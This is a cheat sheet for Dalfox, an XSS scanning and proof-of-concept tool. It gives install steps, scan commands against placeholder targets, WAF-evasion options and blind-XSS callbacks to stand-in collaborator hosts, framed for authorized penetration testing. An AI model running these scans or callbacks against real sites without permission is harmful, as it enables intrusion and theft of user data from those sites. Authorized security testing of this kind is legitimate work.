Dalfox Cheat Sheet
Fast parameter-based XSS scanner and proof-of-concept generator for web apps.
Overview
Dalfox scans URLs and parameters for reflected, stored, and DOM XSS with built-in payload generation and verification. Use after crawling or parameter lists from Arjun/ParamSpider on in-scope targets.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
go install github.com/hahwul/dalfox/v2@latestor
sudo snap install dalfoxEssential commands
Single URL
dalfox url "https://target.example/search?q=test"Pipe URLs from file
cat urls.txt | dalfox pipeParameter-focused scan
dalfox url "https://target.example/page?ref=home" --param refCommon workflows
Reflected XSS on discovered parameters —
dalfox url "https://target.example/search?q=1" --mining-dict --waf-evasiondalfox url "https://target.example/search?q=1" -b "https://your-collaborator.oastify.com"Bulk from Katana/wayback list —
cat alive_urls.txt | dalfox pipe --silence --output dalfox_results.txtdalfox file urls.txt -o results.json --format jsonPOST body and custom headers —
dalfox url "https://target.example/api" --data "name=test&email=a@b.c" --method POSTdalfox url "https://target.example/" -H "X-Forwarded-For: 127.0.0.1" --param X-Forwarded-ForBlind XSS with callback —
dalfox url "https://target.example/feedback" --blind "https://xss.your-callback.example/xss" --deep-domxssFlags reference
url | Scan single URL |
|---|---|
file | Scan URLs from file |
pipe | Read URLs from stdin |
--param | Target parameter name |
--data | POST body |
--method | HTTP method |
-H | Custom header |
-b | Blind XSS callback URL |
--mining-dict | Parameter mining wordlist |
--waf-evasion | WAF bypass payloads |
--deep-domxss | Deeper DOM XSS checks |
-o | Output file |
--format | Output format (json, etc.) |
--silence | Minimal console output |
--proxy | HTTP proxy URL |
Tips
- Combine with paramspider or arjun output: scan only parameters that exist to reduce noise.
- Use -b or --blind only with infrastructure you control (Burp Collaborator, your server).
- --waf-evasion increases request volume; throttle on production or use off-hours windows in scope.
- Verify findings manually in browser; Dalfox PoCs may need CSP/context adjustments.